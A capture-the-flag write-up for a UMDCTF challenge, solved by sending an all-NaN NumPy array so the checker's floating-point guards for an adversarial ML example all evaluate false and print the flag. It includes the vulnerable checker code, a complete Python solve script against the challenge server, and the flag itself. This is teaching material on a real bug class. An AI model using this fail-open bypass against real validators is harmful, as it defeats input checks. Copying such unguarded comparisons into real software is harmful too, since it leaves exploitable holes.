$ cat writeup.md…
$ cat writeup.md…
umdctf
Task: a remote checker loads a predictor and a RealNVP purification flow, then validates an adversarial candidate under L-inf and likelihood constraints before printing the flag. Solution: submit a float32 array filled with NaN so every comparison in the checker evaluates false and the success path reveals the flag.
We are given a remote service plus the local files challenge.py, predictor.py, flow.py, model weights, and a reference input window. The service asks for a base64-encoded NumPy float32 array of shape (5, 64) and checks whether it is a valid purified adversarial example.
Remote target:
nc challs.umdctf.io 30302
The important logic is in challenge.py:
linf = float(np.max(np.abs(sub - x_ref))) if linf > EPS + 1e-6: return False lp = float(flow.log_prob(t).item()) if lp < lp_thresh: return False probs = F.softmax(predictor(purify(t, flow)), dim=1).numpy()[0] if probs[1] < CONF_FLIP: return False
All three decisions depend on floating-point comparisons performed on attacker-controlled data, but the checker never rejects NaN values.
That is fatal because IEEE-754 NaN is unordered:
nan > x is Falsenan < x is Falsenan <= x is Falsenan >= x is FalseSo if we can make every checked value become NaN, the code fails open.
Submitting an array filled with NaN does exactly that:
sub - x_ref contains NaN, so np.max(np.abs(...)) becomes NaN and linf > EPS is false.flow.log_prob(t) becomes NaN, so lp < lp_thresh is false.NaN, so probs[1] is NaN and probs[1] < CONF_FLIP is false.Since none of the guards trigger, check() reaches the success branch and returns the flag.
(5, 64) with dtype float32.np.nan.np.save, because the service decodes the base64 input and calls np.load() on the resulting bytes..npy payload.#!/usr/bin/env python3 import base64 import io import socket import numpy as np HOST = "challs.umdctf.io" PORT = 30302 def main(): arr = np.full((5, 64), np.nan, dtype=np.float32) buf = io.BytesIO() np.save(buf, arr) payload = base64.b64encode(buf.getvalue()) + b"\n" with socket.create_connection((HOST, PORT), timeout=10) as s: s.sendall(payload) out = b"" while True: chunk = s.recv(4096) if not chunk: break out += chunk print(out.decode(errors="replace")) if __name__ == "__main__": main()
The service responds with:
OK linf=nan log_prob=nan p1(purified)=nan FLAG: UMDCTF{id_like_to_thank_athalye_carlini_and_wagner_for_their_research}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
cat pricing.md$ grep --similar